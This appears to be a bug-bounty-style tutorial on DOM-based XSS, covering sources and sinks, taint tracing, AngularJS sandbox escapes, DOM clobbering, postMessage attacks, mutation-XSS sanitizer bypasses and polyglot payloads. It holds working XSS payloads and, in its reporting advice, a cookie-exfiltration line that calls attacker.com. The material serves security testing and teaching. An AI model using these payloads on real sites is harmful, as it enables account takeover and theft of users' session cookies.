DOM-Based XSS: Exploiting JavaScript Sinks and Source Taint Flow
DOM-based XSS is fundamentally different from reflected and stored XSS: the payload never touches the server. The vulnerability exists entirely in client-side JavaScript that reads user-controlled data from a source and passes it to a dangerous sink without sanitization. This makes DOM XSS harder to find — it does not show up in server logs, and static analysis of HTML responses misses it entirely.
Understanding Sources
| Source | Sink | Payload Location | Example | Severity |
|---|---|---|---|---|
| location.hash | innerHTML | URL fragment | index.html#<img src=x onerror=alert(1)> | High |
| location.search | document.write() | URL parameter | ?q=<script>alert(1)</script> | High |
| document.referrer | eval() | Referring page | Attacker page with malicious referrer | High |
| window.name | innerHTML | window.name | Open popup with malicious name | Medium |
| postMessage data | innerHTML | Cross-origin message | Malicious postMessage event | High |
| localStorage | innerHTML | Persistent storage | Stored XSS via storage poisoning | Critical |
A source is any JavaScript property that contains attacker-controlled data. The most common sources:
location.hash— the#fragmentpart of the URL (never sent to server)location.search— the query string (?param=value)location.href— the full URLdocument.referrer— the previous page URLdocument.cookie— cookie valueswindow.name— persists across page navigationspostMessageeventdata— data passed between frames/windowslocalStorageandsessionStorage— if populated from user input
Dangerous Sinks
A sink is a JavaScript function or property that can execute code or inject HTML when given attacker-controlled input:
// HTML injection sinks:
element.innerHTML = userInput; // HIGH risk
element.outerHTML = userInput; // HIGH risk
document.write(userInput); // HIGH risk
document.writeln(userInput); // HIGH risk
$(selector).html(userInput); // jQuery HIGH risk
// Code execution sinks:
eval(userInput); // CRITICAL
setTimeout(userInput, 0); // CRITICAL (string arg form)
setInterval(userInput, 0); // CRITICAL
new Function(userInput)(); // CRITICAL
element.setAttribute('src', userInput); // if javascript: URI accepted
// Navigation sinks:
location.href = userInput; // javascript: URI
location.replace(userInput);
location.assign(userInput);
Taint Flow Analysis
Manually trace the data flow from source to sink. For a hash-based DOM XSS:
// Vulnerable code:
const page = decodeURIComponent(location.hash.slice(1));
document.getElementById('content').innerHTML = page;
// Exploit URL:
https://target.com/app#<img src=x onerror=alert(document.domain)>
Use Burp Suite's DOM Invader (built into Burp's browser) to automatically trace taint flow. It injects a canary value into all sources and alerts when it reaches a sink. Also use Retire.js to detect outdated libraries with known DOM XSS gadgets.
AngularJS Expression Injection
When a page loads AngularJS and the attacker can inject content into an AngularJS-controlled template, template expressions execute JavaScript:
# AngularJS 1.x sandbox bypass (pre-1.6):
{{constructor.constructor('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
# In an ng-app scope with user-controlled content:
<div ng-app>{{7*7}}</div> # Renders "49" — expression injection confirmed
<div ng-app>{{constructor.constructor('alert(document.domain)')()}}</div>
This is also the foundation of CSP bypasses when AngularJS is hosted on a whitelisted CDN. See our CSP Bypass guide for full details.
DOM Clobbering
DOM clobbering uses HTML injection to overwrite global JavaScript variables that the application code reads:
// Vulnerable application code:
if (window.config) {
loadScript(window.config.analyticsUrl);
}
// Attacker injects HTML that creates a global 'config' variable:
<form id="config">
<input id="analyticsUrl" name="analyticsUrl" value="javascript:alert(1)">
</form>
// window.config now references the form element
// window.config.analyticsUrl is the input element's value attribute... exploitable
DOM clobbering requires only HTML injection (no script execution), making it valuable when innerHTML is used but scripts are filtered.
postMessage XSS
Applications using window.addEventListener('message', ...) to communicate between frames are vulnerable when the event handler does not validate the origin and passes the message data to a dangerous sink:
// Vulnerable event handler:
window.addEventListener('message', function(e) {
document.getElementById('output').innerHTML = e.data; // Sink!
});
// Attacker PoC (hosted on evil.com):
<script>
const target = window.open('https://target.com/page');
target.postMessage('<img src=x onerror=alert(document.domain)>', '*');
</script>
Look for postMessage listeners in JavaScript by searching for addEventListener.*message. Check whether e.origin is validated before processing the message data.
Mutation XSS (mXSS)
Mutation XSS exploits browser HTML parsing quirks. A sanitizer may produce safe HTML, but when the browser parses it into the DOM, it mutates the HTML in a way that creates an XSS vector. The classic example with DOMPurify bypasses:
# DOMPurify bypass (historic, now patched):
<math><mtext></mtext></math></p><img src=x onerror=alert(1)>
# The key insight: browsers perform context-specific HTML parsing
# <table> tags trigger "foster parenting" which moves content outside the table
# This can cause sanitizer output to be parsed differently than expected
mXSS is highly browser-version-specific. Always test sanitizer bypass payloads across Chrome, Firefox, and Safari.
Polyglot DOM XSS Payloads
Polyglots work in multiple injection contexts simultaneously:
# Works in innerHTML, attribute, and script context:
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//>
# Shorter DOM polyglot for hash sources:
#<img src=x:x onerror=alert(1)>
#javascript:alert(1)
#<svg onload=alert(1)>
Finding DOM XSS at Scale
- Use Burp DOM Invader to automatically detect source-to-sink flows during manual browsing.
- Search JavaScript files for dangerous sinks:
innerHTML,document.write,eval,setTimeoutwith string arg. - Check all event listeners for
message(postMessage) andhashchange. - Run Retire.js to find JS libraries with known DOM XSS gadgets.
- Use the XSS Payload Generator to create context-specific payloads once a source and sink are identified.
For CSP bypasses that complement DOM XSS, see our CSP Bypass Techniques guide. Use the WAF Bypass Generator to evade any client-side or server-side filters blocking your payloads.
Reporting DOM XSS Effectively
A strong DOM XSS report documents the complete taint flow: identify the source (e.g., location.hash), trace the code path through which the value flows without sanitization, and name the exact sink (e.g., element.innerHTML). Include the specific JavaScript file name and line number from the minified bundle — deobfuscate it first using Prettier or browser DevTools source maps. A plain alert() proof-of-concept is the minimum; strengthening the impact case with a cookie exfiltration payload like fetch('https://attacker.com/?c='+document.cookie) significantly improves triage scores.
Also document whether the DOM XSS is self-XSS (requires the user to visit a crafted URL) or stored (affects all visitors). Self-XSS through location.hash can often be escalated to a persistent attack by chaining with an open redirect on the same origin, delivering the malicious URL to the victim and bypassing the self-XSS limitation. Check the Recon Hub for open redirect parameters to use in this chain.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides